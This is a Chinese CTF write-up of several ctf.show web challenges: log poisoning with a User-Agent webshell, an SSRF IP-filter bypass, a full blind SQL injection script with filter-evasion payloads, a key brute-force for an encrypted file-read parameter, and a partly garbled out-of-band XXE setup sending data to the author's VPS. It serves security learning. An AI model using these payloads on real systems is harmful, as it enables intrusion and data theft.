文件包含一般下面几种协议,不过这些协议这道题都用不起:
除了猜,还有日志包含。
首先访问file=/var/log/nginx/access.log看日志文件是否存在。
然后访问aaaaaaaaaaa,再查看日志文件,已经被记录到了日志文件中。
因为url中会被编码,所以在UA中加入一句话木马,成功写入日志。
随后蚁剑链接:http://0bb8f2b6-74cb-4fd9-860d-a4d246c8aa11.chall.ctf.show/?file=/var/log/nginx/access.log
拿到flag
这道题没做出来,只想到了把ip地址变为10进制访问,没想到过滤了0
学到一个新知识点:curl可以用句号。
代替点.
更多方法参考:url绕过这篇文章讲的很详细
访问url=http://192。168。7。68/flag
拿到flag。
这道题做出来了,直接用盲注脚本跑不出来
平时盲注语句:
^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web1'),{},1))>{})^1".format(i,mid)
fuzz一下发现过滤了, = like ascii '
substr((database())from({})for(1))
的形式regxep
或者in
绕过ord
代替16进制
绕过最终脚本如下:
import requests
url = ' http://c71f4dd3-9252-4df2-8464-eb37db7be8ec.chall.ctf.show/index.php?id=1'
flag = ''
for i in range(1, 50):
high = 127
low = 32
mid = (high+low)//2
while high > low:
payload = "^(ord(substr((database())from({})for(1)))>{})^1".format(i, mid)
# payload = "^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))>{})^1".format(i,mid)
# payload = "^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))>{})^1".format(i,mid)
# payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
s = requests.get(url=url+payload)
if 'Rudyard' in s.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
print(mid)
flag += chr(mid)
print(flag)
这道题没做出来,以为参数是base64没解码成功就没做了,不知道访问/showImage.php还能看到源码。
题目代码如下:
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
我也不知道这里RAND_MAX多大,反正$i不够就加,加到30000终于爆出来了。
$image = "Z6Ilu83MIDw=";
for($i=0;$i<30000;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,'jpg')|strpos($str,'png')|strpos($str,'gif')){
echo 'key:'.$key;
echo '
rand():'.$i;
$a = openssl_encrypt("config.php","bf-ecb",$key);
echo '
anser:'.$a;
echo '
file:'.$str;
break;
}
}
不过访问之后是这样的:
ctrl+s保存下来,把后缀改为php即可得到flag。
openssl_encrypt($data, $method, $password)
openssl_decrypt($data, $method, $password)
格式同上
$a=getrandmax();
echo $a;
?>
linux下应该为2147483647(Ubuntu),不知道各发行版一不一样。
点击占卜时发现api.php
做题的时候就只发现了这些,但是不会用,后来看了wp才知道这是个xxe漏洞。
在vps上创建两个文件:test.xml
%remote;%int;%send; ]>
<reset><login>beelogin><secret>Any bugs?secret>reset>
">
%p2;
膜拜大佬